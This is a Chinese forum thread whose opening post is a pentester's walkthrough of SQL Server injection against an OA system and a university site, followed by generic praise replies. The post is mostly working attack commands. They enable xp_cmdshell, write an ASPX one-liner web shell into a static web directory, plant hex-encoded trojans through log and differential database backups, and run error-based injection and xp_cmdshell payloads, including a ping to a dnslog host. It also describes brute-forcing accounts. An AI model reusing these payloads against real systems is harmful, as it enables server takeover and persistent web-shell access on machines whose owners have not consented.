找回密码
 加入怎通
查看: 248|回复: 6

有人说SQL注入落后了,请问可以捶他吗_解决sql注入

[复制链接]
我来看看 发表于 2023-03-27 12:09:00 | 显示全部楼层 |阅读模式
0 y$ q* p, Y) m7 u: [

上次写了一篇文关于SQL注入的文章,居然有人说SQL注入过时了!!!

) R1 q; S$ z& K( i3 B

前言:本次用4个有趣的实战案例来分别讲:狠–常见getshell快–快速报错注入准–字符长度100限制下注入绕–绕福某大学安全狗虽然只有4个实战案例,但真的挺实用、通用哦,当然此次都是站在前辈肩膀上实践总结的可能还不够全,如有分析不足的地方望各位大佬指正!

/ ]: ^2 N, w1 W( s/ f

狠–常见getshell:实战一:这是一次挖到一个小OA系统的通用管理员弱口令,后台可以执行sql语句并且是sa权限,这运气没谁了哈哈但可以去edu刷分的大部分目标xp_cmdshell却废了.只能恰个弱口令…

) f" F6 h6 i+ H% ?) _6 K

先说可以xp_cmdshell部分:xp_cmdshell写shell技巧:条件:sa权限,常见问题:xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启

* Y8 K U/ ]7 L1 y( V( |$ P

开启方法#开启方法* @8 d R* ^3 |; V8 L& b execute(sp_configure "show advanced options",1) #将该选项的值设置为1 ; @8 [: u) p8 O# ? execute(reconfigure)

1 Q4 P. e. P( f7 j! u' n3 W r

#保存设置 ( N; _( U5 }7 c$ y, e+ I @ execute(sp_configure "xp_cmdshell", 1) #将xp_cmdshell的值设置为1 ' c6 ^$ r. I% N) i6 p" ^) O execute(reconfigure)

1 c* n7 Z" l4 c8 d

#保存设置 3 P9 j; F- i1 }6 v6 T+ t execute(sp_configure) #查看配置 . d8 i: }2 V/ F- p- a execute(xp_cmdshell "whoami")

0 ?6 p+ O4 z0 g0 M' [

#执行系统命令( [- r3 T) }7 f# c9 |. g' h. U+ t8 F 或者 % t* ^% U/ v; l! h( s: q! ~ exec sp_configure show advanced options,1; $ x4 Z, i( @/ U8 \ reconfigure;" |2 b( K% e9 R exec sp_configure xp_cmdshell,1;6 N* q$ [- R) F6 G% W" P, i reconfigure;3 d% X. P: e; ?' r$ f. B

' Y1 N+ G: u' f7 K

exec sp_configure; P0 p% a' K) @& k/ g5 D exec xp_cmdshell whoami; - `: n5 B s+ v0 r) A7 S, h exec master ..xp_cmdshell "ping dnslog"上面执行开启命令后,执行一下 whoami ,system 权限,直接起飞!

! Q1 D0 Z4 [! F

写shell技巧:先找网站根路径:exec xp_cmdshell where /r d:\ *.aspx;: @8 v! G- ?5 c 直接写入aspx文件同目录却访问不了,麻了!问了一下同事,他说:估计做了和springboot类似的路由映射,但静态文的目录可能不会走路由. 访问路径如下

+ ^! _7 R' f6 Y$ t

故再找根路径下绝对静态可解析路径:exec xp_cmdshell where /r D:\OA *.jpg; & T+ L* S& h2 q. Q) j2 G

; s6 z7 O# K$ D0 A0 W1 X6 r

写shell,这里也需要注意一点,dos对尖括号<>会报错,所以需要用^转义一下,或者echo"一句话" > hack.aspx 用双引号echo ^<^%@ Page Language="Jscript"

% t! E4 y9 W+ \! Y

%^>^^ >d:\xx\xx.aspx C8 m* H& S5 R+ ` U 然后倚天大剑(蚁剑)连接http://x.x.x.x/login/login/xx.aspx

" W+ q1 c4 `' T% j# Y

即可.其它gethell大全:剩下不可以xp_cmdshell的,但其它大多getshell方法,都没法用这些方法前提条件都是:SQL Server 2008不可用,SQL Server 2000可用因为我这版本是SQL Server 2008不可用,吐了!!于是只好备份getshell

- {6 }) ]. V6 v4 q# t

备份getshell至少DBO权限)log备份(推荐):优势:1、重复性好,多次备份的成功率高2、相对于差异备份而言,shell的体积较小利用条件:1、前提得知绝对路径,并且可写2、站库不分离3、数据库必须被备份过一次

% R% Y) g) g, G" k, l3 J# c% Q

;alterdatabase 库名 setRECOVERYFULL-- % s! ?8 p6 H( T$ h7 \ ;createtable 数据库名..表名(a image)-- //建表- s/ k. {2 m- M4 Z1 Q1 \ ;insertinto 数据库名..表名(a)

! }% @3 r/ l# G# [/ k0 r, q

values (0x一句话木马)-- //插入一句话木马到表中,注意16进制( F4 ]* f$ G" Z 5 O* y+ @$ c) t9 j ;backupdatabase 数据库名 to disk = c:\www\panda.bak-- //先手动给数据库备份一遍

% u* Q0 _ k7 r- G% [2 W0 y5 @% }- X

% q' o. v- ]9 L5 Z# ?/ }, m- r: t N/ t: \ ;backuplog 数据库名 to disk = c:\www\panda.aspwith init-- //利用log备份到web路径getshell差异备份的条件:1、前提知道绝对路径,路径可写。

. \: o* q% I( y7 B/ f4 z

2、HTTP 500错误不是自定义3、WEB和数据在一块还有的就是数据库中不能存在%号之类的,不然也是不成功的4、数据量不能太大;backupdatabase 库名 to disk = c:\bak.bak。

& H0 L! b$ J8 x0 U/ [

;-- //先手动备份一次 , I8 f( a( H) v ;createtable 数据库名..表名(a image)-- //建立表,加字段 2 H7 u" |2 r( c3 u$ v8 x8 ^ ;insertinto 数据库名..表名(a) values (0x一句话木马)

# f0 {& {' `1 ` e% Z" V

-- //插入一句话木马到表中,注意16进制0 I X8 W3 k8 ~: M* S; c/ U ;backupdatabase 库名 to disk = c:\shell.aspwith differential , format ;-- //进行差异备份

- B$ l" w2 P4 b1 a0 k

小结:备份getshell这一般对php和asp有用,注意asp备份生成的文件经常有没有闭合的问题,但aspx我暂时没找到成功例子我这是aspx的2种备份都试了,但因为备份后会插入多个shell如下

5 G/ `1 J9 x! D. e/ Y8 l; c

导致:出现多次,报错:只能有一个page指令 试了闭合和其它方法不行

9 u' ^4 j& ]% u) Y) |7 n( G

快–快速报错注入:实战二:mssql报错注入很方便,但柯大佬也没完善总结,我试了几种方法,这里快速报错最快,且在之后的手工注入很实用:

: K) Z; |7 l7 W

注册一个账号但要审核,如上图消息里得到账号规律,对后4位数爆破,成功 00xxxxx 123456然后登录后台,在某处发现sql注入:Users/xx.ashx?ID=00) and 1=1 --+ //闭合成功

2 R) F3 U9 K- A' j( Z

& B: r/ b& @9 N0 c9 t. F$ T. J ) and 1=convert(int,user_name()) --+ #查当前数据库用户,结果不是sa # z# @& y8 c: H/ p0 O% C2 y5 B& S 1)/**/;/**/exec/**/master ..xp_cmdshell /**/"ping xx.dnslog.cn"

$ m/ Q+ A* z* T. ]0 r+ J0 l1 z

--#不死心,执行一下cmdshell

0 D/ a8 B5 J, u

我是一名安全渗透测试工程师,热爱安全行业,用心做安全,在工作的同时学习知识,另外,我积攒了一些网络安全的学习视频和资料,需要的可以下载学习关注我,私信回复“资料”免费获取网络安全视频、渗透测试、工具包、应急响应、web安全等架构资料。

. K* l9 A: i3 N0 N" k J# _0 p% x8 C3 d4 q$ @' ] ' o D3 s( J* K) [/ Y# m% U$ a1 ]- S' F6 g$ J) v- X ' U6 U, `# e7 ~/ g* w

暂时无法加载帖子列表

回复

使用道具 举报

念碎碎年年丶 发表于 2026-01-12 20:01:04 | 显示全部楼层
学习到了,之前一直没注意过这个点,受教了
回复

使用道具 举报

野草主机-小张 发表于 2026-04-03 20:29:42 | 显示全部楼层
完全赞同,我也是这么认为的,英雄所见略同~
回复

使用道具 举报

fg003003 发表于 2026-08-25 20:03:49 | 显示全部楼层
分析得很透彻,很多细节都说到点子上了~
回复

使用道具 举报

/kun小の胜 发表于 2026-09-01 02:54:00 | 显示全部楼层
楼主太厉害了,整理得这么详细,必须支持
回复

使用道具 举报

q475364102 发表于 2026-09-06 22:16:28 | 显示全部楼层
这个分享太实用了,刚好能用到,感谢楼主!
回复

使用道具 举报

scf4010 发表于 2026-09-10 12:23:12 | 显示全部楼层
楼主辛苦了,整理这么多内容,必须点赞收藏
回复

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-9-11 08:14 , Processed in 0.044775 second(s), 25 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表